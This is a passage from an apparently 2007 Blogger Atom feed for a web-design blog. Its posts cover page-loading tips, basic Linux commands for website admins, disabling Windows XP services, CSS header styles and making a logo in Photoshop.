http://layouts.ironmyers.com/100_percent_Layouts/layout/?id=5&lt;br /&gt;4. Loading time&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_nXiUn_G4NDk/RuJgH2QJEfI/AAAAAAAAAFw/7-vLuVltBds/s1600-h/Untitled-2.png"&gt;&lt;img style="cursor: pointer;" src="http://bp0.blogger.com/_nXiUn_G4NDk/RuJgH2QJEfI/AAAAAAAAAFw/7-vLuVltBds/s400/Untitled-2.png" alt="" id="BLOGGER_PHOTO_ID_5107750615330132466" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Use Firebug - http://www.getfirebug.com/ network monitoring feature to detect and &lt;span style="font-weight: bold;"&gt;optimize &lt;/span&gt;the slow loading elements.&lt;br /&gt;&lt;br /&gt;5. JavaScript&lt;br /&gt;Place JavaScript at the end of your page - this way the page content will load first.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-7420947023225138015?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/7420947023225138015/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=7420947023225138015' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/7420947023225138015'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/7420947023225138015'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2007/09/check-your-website.html' title='Check your website'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp0.blogger.com/_nXiUn_G4NDk/RuJgH2QJEeI/AAAAAAAAAFo/JFP3liOCkOI/s72-c/Untitled-1.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-3561156148950164632</id><published>2007-09-06T03:44:00.000-07:00</published><updated>2007-09-12T02:48:49.461-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='webdesign'/><title type='text'>Linux commands for website admins</title><content type='html'>Use PUTTY and set its default encoding to UTF-8&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;Hardware/Software information:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;/proc/cpuinfo&lt;/span&gt; :  processor&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;/proc/meminfo&lt;/span&gt; : memory&lt;br /&gt;/etc/redhat-release&lt;br /&gt;/etc/fedora-release&lt;br /&gt;/etc/debian-release&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;w&lt;/span&gt; : active users&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;uptime&lt;/span&gt; : since when the system has been turned on&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;top &lt;/span&gt;: running processes&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;free -m &lt;/span&gt;: memory&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;uname - a&lt;/span&gt; : kernel version&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;/etc/sysconfig/i18n&lt;/span&gt;  must be &lt;span style="font-weight: bold;"&gt;LANG=”en_US.UTF-8″&lt;/span&gt; for English localization&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;set&lt;/span&gt; - set shell environment variables&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;Networking&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;netstat -a&lt;/span&gt; : network connections&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;iptables -L &lt;/span&gt;: firewall settings list&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;ifconfig&lt;/span&gt; : network cards list&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;Directories/files&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;pwd &lt;/span&gt;: shows current working directory&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;du -sh&lt;/span&gt; : shows the directory size&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;passwd &lt;/span&gt;: change the default root password&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;yum install mc&lt;/span&gt; : to install mc&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;df -h&lt;/span&gt; : shows hard drive partitions&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;Apache&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;service httpd status &lt;/span&gt;:  apache working status&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;apachectl configtest &lt;/span&gt;: test apache configuration&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;dig google.com&lt;/span&gt; : check whether the site is reachable&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;Working with archives:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt; rpm -ihv filename.rpm &lt;/span&gt;: install packages&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;tar -czvf filename.tar.gz&lt;/span&gt;  : archiving&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;tar -xzvf filename.tar.gz&lt;/span&gt; : extracting&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;dpkg -i filename.deb&lt;/span&gt; : installing&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-3561156148950164632?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/3561156148950164632/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=3561156148950164632' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/3561156148950164632'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/3561156148950164632'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2007/09/linux-commands-for-website-admins.html' title='Linux commands for website admins'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-4490842716777423983</id><published>2007-07-17T00:15:00.000-07:00</published><updated>2009-12-03T11:30:35.315-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='windows'/><title type='text'>Speed up windows xp services</title><content type='html'>There are several ways that can actually speed up your Windows XP. Here I'll show you 3 of them which are tested and appear to be most useful:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_nXiUn_G4NDk/SxgRano6RNI/AAAAAAAAAew/t9dJCBKt5n0/s400/windows_xp.jpg" /&gt;&lt;br /&gt;&lt;/div&gt;&lt;i&gt;1. Disable the file indexing.&lt;/i&gt; HOW: goto My Computer &amp;gt;Right click on your hard drive letter and then uncheck 'Allow indexing service to index this disk for fast file searching'&lt;br /&gt;&lt;br /&gt;&lt;i&gt;2. Apply the Windows Classic style.&lt;/i&gt; HOW: Right click on your desktop and from the tab Themes choose 'Windows Classic'.&lt;br /&gt;&lt;br /&gt;3. &lt;i&gt;Disable&lt;/i&gt; the following &lt;i&gt;unneeded services&lt;/i&gt; from:&lt;br /&gt;&lt;blockquote&gt;Start-&amp;gt;Run-&amp;gt;services.msc&lt;br /&gt;then click on the &lt;span style="font-weight: bold;"&gt;Properties tab&lt;br /&gt;&lt;/span&gt;and then&lt;span style="font-weight: bold;"&gt; Disable&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;&lt;span style="font-weight: bold;"&gt; Note: &lt;/span&gt;When disabling services do immediate after-wards tests  to see that your hardware/software is working correctly. Also track the changes that you are making so in case of failure to be able to restore the previous system state.&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-weight: bold;"&gt;Task Scheduler&lt;/span&gt;  - Schedules unattended tasks to be run. If you don't schedule any tasks, turn it off&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Uninterruptible Power Supply&lt;/span&gt;  - Manages an Uninterruptible Power Supply(UPS) devices&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Automatic Updates&lt;/span&gt;  - Automatically checks for Windows updates&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Alerter&lt;/span&gt; - Notifies selected users and computers of administrative       alerts&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Error Reporting Service &lt;/span&gt;- Bug sending to Microsoft&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Event Log&lt;/span&gt; - Records event messages to be viewed in Event Viewer&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Fast User Switching&lt;/span&gt; - If you are the only user on the computer turn it off&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Help and Support&lt;/span&gt; - If you use Windows Help and Support leave this enabled&lt;br /&gt;Human Interface Access Devices&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Indexing Service&lt;/span&gt; - Creates unnecessary file indexing&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Machine Debug Manager&lt;/span&gt; - Program and script debugging for developers&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Messenger&lt;/span&gt; - Windows messenger not MSN. If you don't want to receive pop-ups via &lt;span style="font-style: italic;"&gt;net send ip-address message&lt;/span&gt; disable it&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Portable Media Serial Number&lt;/span&gt; - Locates SN of connected music devices&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Secondary Logon&lt;/span&gt; - If you don't want to start programs as a different user disable it&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Security Center&lt;/span&gt; - Monitors your system security settings and notifies if they are insecure. If you have independant antivirus/firewall software you don't need this.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;SSDP Discovery Service &lt;/span&gt;- security threat. This is used by Windows Messenger&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Themes&lt;/span&gt;&lt;br /&gt;Universal Plug and Play Device Host&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;Windows Image Acquisition&lt;/span&gt; - leave it if you are using optical devices such as a scanner or a camera&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Windows Time&lt;/span&gt; - Sets your clock time from Internet&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;blockquote&gt;Network-oriented services:&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Clipbook&lt;/span&gt; - Your clipboard will be accessed remotely over the network&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Computer Browser &lt;/span&gt;- If you want to browse LAN servers(My Network Places) leave it started&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Distributed Link Tracking Client&lt;/span&gt; - Maintains links to files over the network&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;IPSEC Services &lt;/span&gt;-  creating secure connections to private networks across a public network ie. Virtual Private Networking (VPN)&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Netmeeting Remote Desktop Sharing&lt;/span&gt;  - Users can look at your desktop&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Remote Desktop Help Session Manager&lt;/span&gt; - Allows users to connect to your computer&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Remote Procedure Call Locator&lt;/span&gt; - Microsoft Exchange Server depends on this&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Remote Registry&lt;/span&gt; - Access your registry remotely&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Routing &amp;amp; Remote Access&lt;/span&gt; - Advanced routing, makes your computer to function as a network router&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Server&lt;/span&gt; - If you share files,      internet or printers you need it&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Telnet&lt;/span&gt; - Access your computer remotely&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;TCP/IP NetBIOS Helper&lt;/span&gt; - You need it if you use NETBIS for file sharing&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Workstation &lt;/span&gt;- You need if you are using Internet Connection Sharing or       Internet Connection Firewall&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Windows Firewall / Internet Connection Sharing (ICS)&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;Wireless Zero Configuration Service&lt;/span&gt;  - Automatically configures a Wi-Fi (802.11) network card. Disable this only if you're not using Wi-Fi.&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Troubleshooting:&lt;br /&gt;&lt;br /&gt;Network printers&lt;/span&gt;&lt;br /&gt;If your printer is accessed over network you may experience printer spooler errors. The problem is that the Print Spool service depends on Remote Procedure Call, Remote Procedure Call Locator and Workstation services. Just re-enable them.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Usb audio devices&lt;/span&gt;&lt;br /&gt;Human Interface Access Devices service is used for USB audio system. Don't disable it if you are having phones or a keyboard with volume control.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;File and printer sharing&lt;/span&gt;&lt;br /&gt;The server service controls file and print sharing, also do not disable workstation if you are connect to a network drive. Otherwise it will become inaccessible.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Plug and play devices&lt;/span&gt;&lt;br /&gt;Plug and play service manages every pnp capable device on your computer so if disabled you may experience lot of problems when plugging gadgets in usb ports.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;DHCP service&lt;/span&gt;&lt;br /&gt;If you use DSL modem or have IP dynamically assigned then leave the DHCP turned on.&lt;br /&gt;&lt;br /&gt;Also you may try the WinServiceManager from:&lt;br /&gt;&lt;blockquote&gt;http://securityxploded.com/winservicemanager.php&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;It will help you to discover and manage the non-legitimate(non-windows) services found on your system.&lt;br /&gt;4. Don't forget to reboot the system&lt;span style="font-weight: bold;"&gt;.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-4490842716777423983?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/4490842716777423983/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=4490842716777423983' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/4490842716777423983'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/4490842716777423983'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2007/07/speed-up-windows-xp.html' title='Speed up windows xp services'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_nXiUn_G4NDk/SxgRano6RNI/AAAAAAAAAew/t9dJCBKt5n0/s72-c/windows_xp.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-2949438899818806007</id><published>2007-06-23T06:10:00.000-07:00</published><updated>2007-09-12T02:49:55.419-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='webdesign'/><title type='text'>CSS only website headers</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_nXiUn_G4NDk/Rn0nyyYNPRI/AAAAAAAAAFQ/HmOXpYYRFA8/s1600-h/section4.png"&gt;&lt;img style="cursor: pointer;" src="http://bp3.blogger.com/_nXiUn_G4NDk/Rn0nyyYNPRI/AAAAAAAAAFQ/HmOXpYYRFA8/s400/section4.png" alt="" id="BLOGGER_PHOTO_ID_5079259708214033682" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_nXiUn_G4NDk/Rn0nyiYNPOI/AAAAAAAAAE4/fn20sTxQhzc/s1600-h/section.png"&gt;&lt;img style="cursor: pointer;" src="http://bp2.blogger.com/_nXiUn_G4NDk/Rn0nyiYNPOI/AAAAAAAAAE4/fn20sTxQhzc/s400/section.png" alt="" id="BLOGGER_PHOTO_ID_5079259703919066338" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_nXiUn_G4NDk/Rn0wUSYNPTI/AAAAAAAAAFg/F82Zso6GJEw/s1600-h/section6.png"&gt;&lt;img style="cursor: pointer;" src="http://bp1.blogger.com/_nXiUn_G4NDk/Rn0wUSYNPTI/AAAAAAAAAFg/F82Zso6GJEw/s400/section6.png" alt="" id="BLOGGER_PHOTO_ID_5079269079832673586" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_nXiUn_G4NDk/Rn0nyyYNPPI/AAAAAAAAAFA/ra8jfSbESio/s1600-h/section2.png"&gt;&lt;img style="cursor: pointer;" src="http://bp3.blogger.com/_nXiUn_G4NDk/Rn0nyyYNPPI/AAAAAAAAAFA/ra8jfSbESio/s400/section2.png" alt="" id="BLOGGER_PHOTO_ID_5079259708214033650" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_nXiUn_G4NDk/Rn0otSYNPSI/AAAAAAAAAFY/7f-YPtcgkX0/s1600-h/section5.png"&gt;&lt;img style="cursor: pointer;" src="http://bp1.blogger.com/_nXiUn_G4NDk/Rn0otSYNPSI/AAAAAAAAAFY/7f-YPtcgkX0/s400/section5.png" alt="" id="BLOGGER_PHOTO_ID_5079260713236380962" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_nXiUn_G4NDk/Rn0nyyYNPQI/AAAAAAAAAFI/KwLV989fHH4/s1600-h/section3.png"&gt;&lt;img style="cursor: pointer;" src="http://bp3.blogger.com/_nXiUn_G4NDk/Rn0nyyYNPQI/AAAAAAAAAFI/KwLV989fHH4/s400/section3.png" alt="" id="BLOGGER_PHOTO_ID_5079259708214033666" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;For having such nice header just add the following CSS rules to your H3 tags:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_nXiUn_G4NDk/Rn0nyiYNPOI/AAAAAAAAAE4/fn20sTxQhzc/s1600-h/section.png"&gt;&lt;img style="cursor: pointer;" src="http://bp2.blogger.com/_nXiUn_G4NDk/Rn0nyiYNPOI/AAAAAAAAAE4/fn20sTxQhzc/s400/section.png" alt="" id="BLOGGER_PHOTO_ID_5079259703919066338" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;h3&amp;gt; My section  &amp;lt;/h3&amp;gt;&lt;br /&gt;&lt;br /&gt;Here are the CSS rules:&lt;br /&gt;&lt;blockquote&gt;h3 {&lt;br /&gt;     background: #EDEDED;&lt;br /&gt;     padding: 5px 5px 5px 10px;&lt;br /&gt;   font-size: 1.3em;&lt;br /&gt;     font-family: "Times New Roman", Times, serif;&lt;br /&gt;     color: #818080;&lt;br /&gt;     font-weight: normal;&lt;br /&gt;     margin-bottom: 10px;&lt;br /&gt;}&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Another one:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_nXiUn_G4NDk/Rn0nyyYNPPI/AAAAAAAAAFA/ra8jfSbESio/s1600-h/section2.png"&gt;&lt;img style="cursor: pointer;" src="http://bp3.blogger.com/_nXiUn_G4NDk/Rn0nyyYNPPI/AAAAAAAAAFA/ra8jfSbESio/s400/section2.png" alt="" id="BLOGGER_PHOTO_ID_5079259708214033650" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;blockquote&gt;h3 {&lt;br /&gt;margin: 0 0 0.5em 0;&lt;br /&gt;         padding: 5px 5px 5px 10px;&lt;br /&gt;         font: normal 135%/1 arial,sans-serif;&lt;br /&gt;         letter-spacing: -0.03em;&lt;br /&gt;         clear: left;&lt;br /&gt;         color: white;&lt;br /&gt;         background: #A5CC7A;&lt;br /&gt;}&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_nXiUn_G4NDk/Rn0nyyYNPQI/AAAAAAAAAFI/KwLV989fHH4/s1600-h/section3.png"&gt;&lt;img style="cursor: pointer;" src="http://bp3.blogger.com/_nXiUn_G4NDk/Rn0nyyYNPQI/AAAAAAAAAFI/KwLV989fHH4/s400/section3.png" alt="" id="BLOGGER_PHOTO_ID_5079259708214033666" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;blockquote&gt;h3 {&lt;br /&gt;         font: normal 255%/1 arial,sans-serif;&lt;br /&gt;         letter-spacing: -0.04em;&lt;br /&gt;         background: url(bgr.gif) repeat 0 0;&lt;br /&gt;         padding: 0.55em 0.1em 0.63em 1.1em;&lt;br /&gt;         color: #36a;&lt;br /&gt;}&lt;/blockquote&gt;&lt;br /&gt;bgr.gif is a normal gif file(width=1px, height=100px; filled with gradient color).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_nXiUn_G4NDk/Rn0nyyYNPRI/AAAAAAAAAFQ/HmOXpYYRFA8/s1600-h/section4.png"&gt;&lt;img style="cursor: pointer;" src="http://bp3.blogger.com/_nXiUn_G4NDk/Rn0nyyYNPRI/AAAAAAAAAFQ/HmOXpYYRFA8/s400/section4.png" alt="" id="BLOGGER_PHOTO_ID_5079259708214033682" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;blockquote&gt;h3 {&lt;br /&gt;         width:200px;&lt;br /&gt;         border-bottom:1px solid #E0EAF6;&lt;br /&gt;         color:#4C7599;&lt;br /&gt;         font-family: "HelveticaNeue-Light", "Helvetica Neue Light", Helvetica, Arial, sans-serif;&lt;br /&gt;         font-size:18px;&lt;br /&gt;         text-decoration:none;&lt;br /&gt;}&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Next:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_nXiUn_G4NDk/Rn0otSYNPSI/AAAAAAAAAFY/7f-YPtcgkX0/s1600-h/section5.png"&gt;&lt;img style="cursor: pointer;" src="http://bp1.blogger.com/_nXiUn_G4NDk/Rn0otSYNPSI/AAAAAAAAAFY/7f-YPtcgkX0/s400/section5.png" alt="" id="BLOGGER_PHOTO_ID_5079260713236380962" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;blockquote&gt;h3{&lt;br /&gt;padding:6px 6px; 3px 6px;&lt;br /&gt;         border-bottom: dotted 1px #000000;&lt;br /&gt;         color: #487377;&lt;br /&gt;         background: #d0e4d0;&lt;br /&gt;         text-transform:lowercase;&lt;br /&gt;         font: 18px bold;&lt;br /&gt;         line-height: 0.8em;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_nXiUn_G4NDk/Rn0wUSYNPTI/AAAAAAAAAFg/F82Zso6GJEw/s1600-h/section6.png"&gt;&lt;img style="cursor: pointer;" src="http://bp1.blogger.com/_nXiUn_G4NDk/Rn0wUSYNPTI/AAAAAAAAAFg/F82Zso6GJEw/s400/section6.png" alt="" id="BLOGGER_PHOTO_ID_5079269079832673586" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;blockquote&gt;h3 {&lt;br /&gt;text-transform:uppercase;&lt;br /&gt;font-size:1.6em;&lt;br /&gt;font-family:arial,verdana,sans-serif;&lt;br /&gt;background:black;&lt;br /&gt;color:white;&lt;br /&gt;width:200px;&lt;br /&gt;letter-spacing: -0.1em;&lt;br /&gt;}&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;If you want to control the width of the section just place&lt;br /&gt;width: 200px; in the CSS code.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-2949438899818806007?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/2949438899818806007/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=2949438899818806007' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/2949438899818806007'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/2949438899818806007'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2007/06/css-only-website-headers.html' title='CSS only website headers'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp3.blogger.com/_nXiUn_G4NDk/Rn0nyyYNPRI/AAAAAAAAAFQ/HmOXpYYRFA8/s72-c/section4.png' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-1863776507163505909</id><published>2007-06-17T01:03:00.000-07:00</published><updated>2007-09-12T02:50:03.465-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='webdesign'/><title type='text'>Create website logo in photoshop</title><content type='html'>Here is a quick way to design your own web page logos using Photoshop/Imageready:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_nXiUn_G4NDk/RnUCciYNPKI/AAAAAAAAAEY/Usy0Fukn5ls/s1600-h/banner4.jpg"&gt;&lt;img style="cursor: pointer;" src="http://bp2.blogger.com/_nXiUn_G4NDk/RnUCciYNPKI/AAAAAAAAAEY/Usy0Fukn5ls/s400/banner4.jpg" alt="" id="BLOGGER_PHOTO_ID_5076966844218031266" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;1. Find a suitable image to use&lt;br /&gt;2. Copy and paste it in Photoshop/Imageready.&lt;br /&gt;3. Go to Image-&gt;Canvas size and resize the width to 600px.&lt;br /&gt;4. Place the image on the left side of the canvas.&lt;br /&gt;5. Select using single row selection the right part of the image.&lt;br /&gt;6. Go to Edit-&gt;Define pattern.&lt;br /&gt;7. Deselect, Create new layer and goto Edit-&gt;Fill-&gt;Use Pattern.&lt;br /&gt;8. Erase/Smudge any part of the image layer until it blends correctly.&lt;br /&gt;9. Use Gradient styling to the new layer to enhance the visual effect. Also if you want more clear initial image apply Filter-&gt;Artistic-&gt;Cutout to the photo at the beginning.&lt;br /&gt;&lt;br /&gt;Finished examples:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_nXiUn_G4NDk/RnUCcSYNPHI/AAAAAAAAAEA/gE7ovr2DTi8/s1600-h/banner1.jpg"&gt;&lt;img style="cursor: pointer;" src="http://bp1.blogger.com/_nXiUn_G4NDk/RnUCcSYNPHI/AAAAAAAAAEA/gE7ovr2DTi8/s400/banner1.jpg" alt="" id="BLOGGER_PHOTO_ID_5076966839923063922" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" 